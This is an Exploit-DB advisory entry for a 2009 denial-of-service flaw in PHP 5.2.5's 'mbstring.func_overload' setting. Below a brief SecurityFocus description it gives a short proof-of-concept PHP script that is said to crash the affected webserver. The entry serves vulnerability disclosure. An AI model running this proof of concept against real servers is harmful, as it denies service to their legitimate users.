Lucene search

K
exploitdbStrategmaEDB-ID:32769
HistoryJan 30, 2009 - 12:00 a.m.

PHP 5.2.5 - 'mbstring.func_overload' WebServer Denial of Service

2009-01-3000:00:00
strategma
www.exploit-db.com
21

AI Score

7.4

Confidence

Low

source: https://www.securityfocus.com/bid/33542/info

PHP is prone to a denial-of-service vulnerability because it fails to limit global scope for certain settings relating to Unicode text operations.

Attackers can exploit this issue to crash the affected webserver, denying service to legitimate users. 

<?php
        $v = 'Òîâà å òåñò|test.php';
        print substr($v,0,strpos($v,'|'));
?>